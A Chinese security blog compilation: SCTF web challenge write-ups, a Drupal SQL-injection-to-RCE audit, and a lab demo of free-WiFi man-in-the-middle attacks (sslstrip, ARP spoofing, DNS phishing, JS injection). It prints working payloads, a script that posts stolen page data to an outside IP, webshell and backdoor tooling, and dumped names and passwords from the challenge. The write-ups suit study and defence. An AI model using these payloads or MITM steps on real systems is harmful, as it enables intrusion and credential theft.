SCTF Web Writeup
PT100
首先题目提示在后台,顺手测试了一下admin
目录,需要 HTTP Basic 认证。
hydra
爆破无解,便想 Google 一下看看有没有 IIS 的 Auth Bypass。结果还真有 - -||
根据这篇文章的提示,bypass 的 payload 为:
http://gintama.sycsec.com/admin:$i30:$INDEX_ALLOCATION/index.php
进入之后是一个登陆,username处疑似注入,提交'
出现 WTF,提交\'
提示密码错误。可见是注入。
卡了好久,这里的 username 限制了四个字符,并且后端有截断。常规的 bypass 方法不起作用。
之后在 expdb 找到一篇 paper:False SQL Injection and Advanced Blind SQL Injection,这里有四个字符 bypass 的 payload:'=0#
,提交后成功拿到 flag。
PT200
这道题会玩死人的T^T..
打开kali.sycsec.com后看了眼源代码,提示说name=xxx
,那就是 XSS 题目咯。并且要求最新版的 Chrome 浏览器,要求就要求吧_(:3
各种尝试姿势无果,终于发现了 base 标签可以 bypass(12345是我第三方 JS 输出的)。
http://kali.sycsec.com/index.php?name=asaa%3Cbase%20href=http://www.hackersoul.com?javascript//%20%3E
不过提交后竟然没反应…事后才想起来,后台没有引入外链的 JavaScript…
之后官方提示有现成的方法可以用,最终用 link 标签搞定,payload 为:
http://kali.sycsec.com/index.php?name=asaa%3Clink%20rel=import%20href=http://103.224.80.59/2.php%20/%3E
得到 Cookie 后去后台提示 403,改了 XFF 后就被 fuck 了T^T..之后尝试获取页面源代码,其中我的 2.php 代码如下:
<?php
header("Access-Control-Allow-Origin: *");
if (@$_POST[a]) {
echo $_POST[a];
file_put_contents('1.txt', @$_POST[a]);
}
?>
<script src=http://lib.sinaapp.com/js/jquery/1.7.2/jquery.min.js></script>
<script>
$.ajax({url: "/ebcb6eb2004d1f4086ef87cdf5d678c3/flag.php?id=1 and 1=(SELECT multipoint((select*from(select*from(select thisisflag from flag limit 0,1)f)x)))", type:'GET', success: function(data){
$.post('http://103.224.80.59/2.php', {'a': data});
}});
</script>
由于浏览器的策略,我们需要指定Access-Control-Allow-Origin
为*
。然后得到的 HTML 代码写入本地的 txt 中。
从 index.php 得到 flag.php?id=1
,然后经过各种注入,最后的 payload 就是上面的代码。
有一点就是服务器上安装了不是安全狗的安全狗,正好前几天出了新的报错关键字,正好派上用场~最终 flag:
PT300
题目给了个 modx 的地址:modx.sycsec.com,其中 modx 在 PT400 的 idc 中 download 目录有下载。题目提示是代码审计,看到 PKAV 分分钟搞定心慌啊。
idc 上有三个版本,我选择了最新的版本审计,最后发现找错了,是 1.0.8。
打开题目中的地址,从 robots.txt 中发现了 /flag/flag.txt
,第一反应是文件包含。在 expdb 上搜索 modx 的 LFI 无果,决定自己审计。
首先在本地搭建环境,find . -name "*.php" | xargs grep include
找到含有 include 的文件。鬼使神差的从 index-ajax.php
开始跟(没想到跟对了)。
if($axhandler = (strtoupper($_SERVER['REQUEST_METHOD'])=='GET') ? $_GET['q'] : $_POST['q']) {
$axhandler = preg_replace('/[^A-Za-z0-9_\-\.\/]/', '', $axhandler);
$axhandler = realpath($axhandler) or die();
$directory = realpath(MODX_BASE_PATH.DIRECTORY_SEPARATOR.'/assets/snippets');
$axhandler = realpath($directory.str_replace($directory, '', $axhandler));
if($axhandler && (strtolower(substr($axhandler,-4))=='.php')) {
include_once($axhandler);
exit;
}
}
获取了用户输入的 q 参数,然后进行包含。阅读代码发现需要在 assets/snippets
目录下,再次目录下查找有包含的 php,发现/ajaxSearch/ajaxSearchPopup.php
存在包含:
$config = parseUserConfig((strip_tags($_POST['ucfg'])));
// Load the custom functions of the custom configuration file if needed
if ($config) {
//echo $config;
$lconfig = (substr($config, 0, 6) != "@FILE:") ? AS_PATH . "configs/$config.config.php" : $modx->config['base_path'] . trim(substr($config, 6, strlen($config)-6));
//echo $lconfig;
if (file_exists($lconfig)) include $lconfig;
如果 POST 了 ucfg,如果开头为@FILE:
就包含用户提交的 ucfg。构造 payload:
q=assets/snippets/ajaxSearch/ajaxSearchPopup.php&as_version=1.9.2&ucfg=%26config%3D%60@FILE:flag%2fflag.txt%60&search=123
POST 到 index-ajax.php 得到 flag。
PT400
渗透一个 Wordpress 的博客。wpscan 扫了下没有插件主题,官方也说不是爆破口令。在页面尾部发现自豪的采用了 SYC SERVICE,打开后是http://idc.sycsec.com/。发现 page 疑似注入,bug 反馈疑似 XSS。第一天没搞定,第二天官方提示 SQLi -> XSS。这个神脑洞o~o...
page 注入通过把空格替换成 %0a 绕过,然后提交 payload:
http://idc.sycsec.com/?page=1%0aunion%0aselect%0a0x3c736372697074207372633d687474703a2f2f7873732e72652f353233323e3c2f7363726970743e
获得后台地址:
然后通过注入得到管理员的账号和密码:
http://idc.sycsec.com/?page=-1%0aunion%0aselect%0aconcat(UserPass,UserName,IsAdmin)from%0aadministrators123%0alimit%0a0,1%23
管理员的 md5 搜一下得到:rootadministrator123
,登陆后跳到 upload.php。
这里的上传的图片有一个过滤,当图片包含<?
的时候,对,你没有看错,有<?
的时候,张全蛋(英文名Michael Jack,法文名Hélodie Jaqueline)就会出现。不过很容易的,PHP 也可以通过<script language=php>phpinfo();</script>
来执行。直接上传一句话,%00 截断之后得到地址,菜刀连接就好,轻车熟路。
根目录下发现 Wordpress 的源码,目测这个源码留了后门。下载下来 diff 一下,果然:
数了数这是 6 个字符,那就是assert
了,写了个脚本来爆破..
<?php
for($i = 0 ; $i < 256 ; $i++){
$c = chr($i); // 0
for($j = 0 ; $j < 256 ; $j++){
$d = chr($j); // 1
if (($c ^ $d) == 'a') { // 0^1
for ($h = 0; $h<256; $h++) {
$a = chr($h); // 2
if (($d ^ $a) == 's') { // 1^2
for ($k = 0; $k<256; $k++) {
$b = chr($k); //5
if (($a ^ $b) == 'r') { //2^5
for ($l = 0; $l<256; $l ++) {
$e = chr($l); //6
if (($b ^ $e) == 't') { //5^6
for ($m =0; $m<256;$m++) {
$f = chr($m); //3
if (($f ^ $e) == 's') { // 3^6
for ($n=0;$n<256;$n++) {
$g = chr($n); //4
if (($f ^ $g) == 'e') { //3^4
echo "$c $d $a $f $g $b $e \n";
}
}
}
}
}
}
}
}
}
}
};
}
}
?>
这个脚本真是醉了..不过跑出来就行。跑了一堆,随便选一个:Q0C6S1E
然后再写一个脚本中转:
import web
import requests
import urllib2
urls = (
'/', 'hello'
)
app = web.application(urls, globals())
class hello:
def POST(self):
print web.input()
req = requests.post('http://blog.sycsec.com/fc0ea94c722b1fd7f9257f3087ac45d1/',
headers={'Cookie': 'wp-sesion=Q0C6S1E; wp-ssesion=eval($_POST[e])'},
data={'e': web.input().e + ';die();', 'z0': web.input().z0, 'z1': web.input(z1='').z1,
'z2': web.input(z2='').z2, 'z3': web.input(z3='').z3, 'z4': web.input(z4='').z4,
'z5': web.input(z5='').z5})
return req.content
if __name__ == "__main__":
app.run()
运行后连接一句话,在数据库里找到 flag:
PT500
渗透题最爱。在 http://corp.sycsec.com/ 搜集各种信息。
Email: happy_net@163.com/SYC083
Domain: file.sycsec.com
Domain: report-man.sycsec.com
查找一下社工裤找到密码为:971989823,接着登陆进去。只有一个上传,我还以为能 getshell,后来发现想多了。
卡了一会脑洞一开,想起来文件名可以注入。试了试果然,写了个脚本跑出来所有的用户数据。脚本如下:
import requests
import re
match = re.compile('Duplicate entry \'(.*)\' for')
url = 'http://report-man.sycsec.com/report.php'
headers = {'Cookie': 'PHPSESSID=ce268dee3ff78b36fab83cfda67989ba'}
payload = "',(select 1 from (select count(*),concat((select concat(id,0x20,number,0x20,password,0x20,name,0x20,email)from user limit NUM,1),floor(rand(0)*2))x from information_schema.tables group by x)a))#"
#payload = "',(select 1 from (select count(*),concat((select concat(id,0x20,user_id,0x20,file)from report limit NUM,1),floor(rand(0)*2))x from information_schema.tables group by x)a))#"
#payload = "',(select 1 from (select count(*),concat((select @@basedir),floor(rand(0)*2))x from information_schema.tables group by x)a))#"
#payload = "',(select 1 from (select count(*),concat((select @@datadir),floor(rand(0)*2))x from information_schema.tables group by x)a))#"
#payload = '../var/www/html/1.txt'
i = 0
while True:
a = requests.post(url, files={'file': (payload.replace('NUM', str(i)), 'aaa')}, headers=headers).content
#a = requests.post(url, files={'file': (payload, 'aaa')}, headers=headers).content
#print a
#break
#print a
a = match.findall(a)
if not a:
break
print a[0]
i += 1
用户数据如下:
1 SYC083 ca4375859b93ee8c52301236d78cfe1e 小静 xiaojing@sycsec 971989823
84 SYC081 95fb25bb0cde4a3cec22393497af39a8 小夕 xiaoxi@sycsec. 19930221
85 SYC042 4e3a14e1fbb71c7dc9bb6e5e3a8ebf16 刘明 liuming@sycsec liuming123
86 SYC033 9c6aebdb1ff352eda04bd28bf4e4cc61 小芳 xiaofang@sycse qweasd123
87 SYC034 1f32aa4c9a1d2ea010adcf2348166a04 小李 xiaoli@sycsec. 12345
88 SYC035 43002e69daf4c85a2c3deb84d2a6e1c1 慕言 muyan@sycsec.c $$$123123
89 SYC036 9e72b823141127e60735094849b9d86d 刘得滑 liudehua@sy dadadadadadadad
90 SYC047 1f8c2d1faab905003bacac2827efa12f 小凡 xiaofan@sycsec qweasdzxc123
91 SYC052 772b0703cbae2c6ef0d5cf2a01b9b5aa 张德帅 zhangdeshua
92 SYC073 d8b5c7cecb531fd05d7765dd3afad43d 吴悠前 wuyouqian@s
93 SYC077 58a4f7ba90147a39fec86b1516284a29 黎明 liming@sycsec.
94 SYC078 58a4f7ba90147a39fec86b1516284a29 伊喜 yixi@sycsec.co
95 SYC079 894c925e9616baf4484f6fccbf9013c0 小美 xiaomei@sycsec 123123123
之后又卡住了..不过机会总会来的,想起以前做渗透的时候经常社工公司邮箱,而且这里的人的邮箱也是@sycsec.com
的,所以顺手打了个 mail.sycsec.com,成功访问。经过撞库登陆成功 SYC081 和 SYC042 的账号。
在邮件里得到 VPN 的地址和密码组成。
通知:
公司VPN地址:vpn.sycsec.com
默认用户名:工号 (如:SYC001)
默认登录密码:工号 + 生日 (如:工号为SYC001,生日为19900101的用户,密码为:SYC001900101)
在 SYC081 得到提示小美的生日,爆破了一下出生年份,最后进入 VPN 系统。
接着利用 VPN 访问内网的file.sycsec.com
,发现域名不能访问,改为 IP 即可。
这题的坑点在于,存在一个 .svn 目录让人遐想联翩,login.php 又让人登陆。不过我试了试都不行,然后爆破了下目录..发现存在 files 目录...
想到了爆破备份文件,没找到,又尝试了下用户名,依然 GG。最后没辙了爆破了下工号,发现是 403。
嗯,写脚本跑www
import requests
headers = {
'Cookie': 'PHPSESSID=cfefaa8e1d72885a3de880a9c9c55337'
}
url = 'http://vpn.sycsec.com/curl.php'
url_2 = 'http://10.24.13.37/files/'
data = {
'option': 'GET',
'url': '',
'cookie': '',
'post': '',
}
for i in range(0,84):
data['url'] = '%sSYC0%02d/' % (url_2, i)
print 'Forbidden' in requests.post(url, headers=headers, data=data).content, i
最后在 SYC007 处得到 flag。
最后..打这个 CTF 都快打哭我了,两天没洗澡差点发霉.._(:3
Drupal 的 callback 噩梦
0x00
前几天爆了一个 Drupal 的 SQL Injection 注入漏洞,但是这个漏洞不止与 SQL 注入这么简单,还可以利用其来 RCE。SE 在 Twitter 上也有提及,可是没有透露细节。
不过今天再看的时候发现,远程代码执行的 exp 已经放出,那我也不藏着掖着了,把挖掘的过程记录一下,算是本人第一次代码审计的产物好了。
SE 说的是 Drupal 的 callbacks 造成的 RCE。那么我们审计的 point 就要在 callback 上。PHP 内置的一个函数 call_user_func_array 可以做到这一点,其中接受参数如下:
call_user_func_array ( callable $callback , array $param_arr )
第一个参数是 function 的名称,第二个参数是要调用的参数的参数。
利用这几个特性,可以实现 Drupal 的各种花式 getshell。我只审计出来一种,还有很多方式并没有去实现(毕竟渣渣看不出来)。
0x01
Drupal 有一个特性,可以让管理员添加 PHP tag 来写文章,叫做 PHP filter。这个特性默认是关闭的。当然,由于 PDO 可以执行多行 SQL 语句的特性,我们可以直接添加管理用户然后登录上去,打开 PHP filter 的 Module,然后发表文章,最后 getshell。
想要自动化也简单,那就是把从打开 PHP filter 到发表文章的所有执行过的 SQL 语句合在一起当作 Payload,最后 getshell。这个思路的 POC 我也做过,可惜太过于繁琐,最后 Payload 出来很长很长,一点也不优雅,而且并没有利用到 callback 的特性。为了钻个牛角尖,咱就来审计一下如何花式 getshell。
上文中说了 PHP filter 是一个可以执行 PHP 代码的特性,而 PHP filter 所在的文件是/modules/php/php.module
这个文件,其中:
function php_eval($code) {
..
ob_start();
die($code);
print eval('?>' . $code);
$output = ob_get_contents();
ob_end_clean();
$theme_path = $old_theme_path;
return $output;
}
这个函数就是用来执行 custom php code 的函数。
0x02
对于审计的工具,我这种渣渣直接就 find 然后 grep 定位文件,在用 phpstorm + ideavim(plugin of phpstorm),来跟踪函数,轻松愉快ow<。
我们很确定的是我们要找 call_user_func_array 这个函数,利用如下命令来查找:
cd /var/www/html/drupal
find . -type f -name "*" | xargs grep call_user_func_array
其实我们可以进一步缩小范围,因为第一个函数是我们调用的函数,而如果我们想利用的话,call_user_func_array
这个函数的第一个参数我们要可以控制,那么进一步缩小范围:
find . -type f -name "*" | xargs grep call_user_func_array\(\\$ | grep -v ". '_'"
结果如下:
我们接下来就要查看上下文,看从哪里可以控制那个变量。经过逐一排查,我定位到/include/menu.inc
这个文件中的menu_execute_active_handler
函数。
function menu_execute_active_handler($path = NULL, $deliver = TRUE) {
$page_callback_result = _menu_site_is_offline() ? MENU_SITE_OFFLINE : MENU_SITE_ONLINE;
$read_only_path = !empty($path) ? $path : $_GET['q'];
drupal_alter('menu_site_status', $page_callback_result, $read_only_path);
if ($page_callback_result == MENU_SITE_ONLINE) {
if ($router_item = menu_get_item($path)) {
if ($router_item['access']) {
if ($router_item['include_file']) {
require_once DRUPAL_ROOT . '/' . $router_item['include_file'];
}
$page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);
}
else {
$page_callback_result = MENU_ACCESS_DENIED;
}
}
else {
$page_callback_result = MENU_NOT_FOUND;
}
}
}
阅读可以发现,我们可以控制$_GET['q']
这个参数,接着进入menu_get_item
这个函数。这个函数的核心代码是这里:
if (!isset($router_items[$path])) {
if (variable_get('menu_rebuild_needed', FALSE) || !variable_get('menu_masks', array())) {
menu_rebuild();
}
$original_map = arg(NULL, $path);
$parts = array_slice($original_map, 0, MENU_MAX_PARTS);
$ancestors = menu_get_ancestors($parts);
$router_item = db_query_range('SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC', 0, 1, array(':ancestors' => $ancestors))->fetchAssoc();
if ($router_item) {
drupal_alter('menu_get_item', $router_item, $path, $original_map);
$map = _menu_translate($router_item, $original_map);
$router_item['original_map'] = $original_map;
if ($map === FALSE) {
$router_items[$path] = FALSE;
return FALSE;
}
if ($router_item['access']) {
$router_item['map'] = $map;
$router_item['page_arguments'] = array_merge(menu_unserialize($router_item['page_arguments'], $map), array_slice($map, $router_item['number_parts']));
$router_item['theme_arguments'] = array_merge(menu_unserialize($router_item['theme_arguments'], $map), array_slice($map, $router_item['number_parts']));
}
}
在 menu_router 里查询我们输入的$_GET['q']
,然后从返回所有字段。接着回到menu_execute_active_handler
函数。
if ($router_item['include_file']) {
require_once DRUPAL_ROOT . '/' . $router_item['include_file'];
}
这里取出router_item
中的include_file
,然后用require_once
来包含。这里是一个 point,因为 Drupal 默认不开启 PHP filter,这里包含了就可以不用开启 PHP filter 了。
接着取出router_item
中的page_callback
,带入call_user_func_array
执行。
到此为止整个流程我们已经很清楚了。
需要注意的是page_arguments
的第一个参数才会被执行,而第一个参数正是$_GET['q']
的值。
0x03
- 通过注入向 menu_router 表中插入一段数据:
- path 为要执行的代码;
- include_file 为 PHP filter Module 的路径;
- page_callback 为 php_eval;
- access_callback 为 1(可以让任意用户访问)。
- 访问地址即可造成 RCE。
我们来测试一下。首先在数据库执行语句:
insert into menu_router (path, page_callback, access_callback, include_file) values ('<?php phpinfo();?>','php_eval', '1', 'modules/php/php.module');
然后访问http://192.168.1.109/drupal/?q=%3C?php%20phpinfo();?%3E
。
0x04
exp 已经在 Beebeeto 上放出了,地址戳我,咱刚刚下了一个本子特赞,撸去了。
对了,特此感谢 redrain 爷爷的指导>_>
免费 WiFi 下看胖次的颜色几种姿势
0x00,前言和环境
前言
免费 Wi-Fi 下的安全性我们自然清楚,一不小心就会被看到胖次,无论是否是 https。当然,如果被攻击者很敏感的发现该是 https 的地方不是 https 就停止登录,那么自然无妨。不过令人遗憾的是大多数人没这个意识,免费无线网的诱惑远大于浏览器上爆红的恐惧,所以 GG。
环境
渗透环境是完全控制路由器,攻击者和被攻击者在同一个内网。实际上,当黑阔们完全控制路由器时,可以直接在路由器上抓包进行中间人攻击,这个反而比 ARP 欺骗之类的攻击手法方便很多。不过许多路由器压根没有命令接口,烂的很ow<
被攻击主机:
IP: 192.168.1.109
OS: Windows 7
攻击者主机:
IP: 192.168.1.111
OS: CentOS 6.5
路由器:
IP: 192.168.1.253
网络拓扑图:
0x01,用 sslstrip+ARP 来看胖次
原理大概就是:
- ARP 欺骗受害主机,劫持受害主机流量;
- 用 sslstrip 将 https 的裤子脱下来,强迫受害者用 http 通信;
- 同时攻击者也会与服务器建立正常的 https 连接;
- 嗅探得到受害者的信息。
就像这样:
受害者 <== HTTP ==> 攻击者 <== HTTPS ==> 服务器
也就是 MITM 的加强版的样子ow<
攻击详细过程如下:
-
首先开启内核包转发,然后用 iptables 转发 80 端口到 10000 端口上,其中 10000 端口为 sslstrip 监听的端口;
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
-
开启 sslstrip(脱裤子什么,让我来owo);
sslstrip -a -k -f
- ARP 嗅探受害者主机(大骗子哼OAQ);
arpspoof -i eth1 -t 192.168.1.109 192.168.1.253
- ettercap 来看胖次;
ettap -u -T -q -i eth1
我们先打开正常的 http 页面看一看能不能得到胖次,登录 v2ex 好了。
输入账号 test,密码 test,嗯呜,喵呜,胖次被轻易的看到惹 QAQ..
接下来我们找一个 HTTPS 的网站来,就拿支付宝来说。我们访问后发现并不是 https,而是 http。但是大多数人并不会意识到这个的,他们会自然而然的登录。
紧接着我们进行嗅探,由于数据包比较乱,我把它输出为一个文件来看。
然后用 Wireshark 过滤一下,看数据包。虽然密码加密了,但是我们仍然清楚的看到已经发包成功。虽然得不到密码,有 Cookie 也会登录进去噢ow<
0x02,DNS 劫持直接看胖次
DNS 劫持是老生常谈的话题了,利用 DNS 直接钓鱼的效率极高。特别是在攻击者搭建的 Wi-Fi 环境下,DNS 想改成什么就改成什么,简直酸爽无比。
本来我想直接在路由器上复现 DNS 劫持的,但是搭建个 DNS 服务器感觉好麻烦,另外出租屋里其他四个人如果被我搞的上不了网那么我感觉会被群殴QAQ,所以我以另外一种方式简单复现一下。
-
首先我先把被攻击着的 DNS 服务器改为攻击者的 IP 地址,其实如果直接在路由器上改也是这个效果。
然后我们在攻击者的机子上搭建一个简单的 DNS Server——无论请求什么地址,都返回攻击者的 IP;
我们在被攻击着的机子上测试,发现成功。
-
我们在攻击者的机子上搭建一个和 QQ Mail 一模一样的网站——直接用浏览器保存就好了嘛,小学就学过;
- 稍微修改一些代码,使得可以接受被攻击着的用户名和密码。
由于一些原因保存的页面非常粗糙,不过如果是精心钓鱼的话,页面会和真正的页面一样,钓鱼成功几率极高ow<
0x03,胖次上的摄像头——JS 投毒
JS 投毒是在中间人攻击的基础上,在返回的 HTML 数据中插入恶意 JavaScript 代码。JS 投毒完全可以配合 DNS 劫持以及 sslstrip 来使用。
利用 closurether 轻松实现插入任意脚本,编译安装 node.js 以及用 npm 安装 closurether 就不赘述了。
(由于这是我第二天复现的,所以受害者 IP 变成了 192.168.1.104)
仍然是上面的环境,受害者的 DNS 服务器为攻击者的主机。我们修改 /usr/local/lib/node_modules/closurether/asset/inject 目录下的 extern.js 插入我们的测试代码,成功得到 Cookie。
而且通过 JS 投毒,可以进行许多事情,甚至可以配合 metasploit 进行对目标主机的渗透。具体看这个新的 framework,MITMf。
0xFF,后话
所以说免费 Wi-Fi 能不用就不用,如果非要用,那就黑下来路由器然后改密码好了。
偶尔去大街上转悠的我随便就能进去的路由器也不少,大多数是弱口令,还有小部分的路由器 authenticate bypass 啦,抓包抓到密码啦什么的。
这些也不是什么新的东西,都是被玩烂了的。咱闲着无聊玩一下,好歹也算是折腾过。嘛,毕竟渣。
另外,不就是想看胖次吗,给你看就是了!hentai..OAQ!
参考资料:
针对SSL的中间人攻击演示和防范
利用sslstrip和ettercap突破ssl嗅探密码
渗透测试:内网DNS投毒技术劫持会话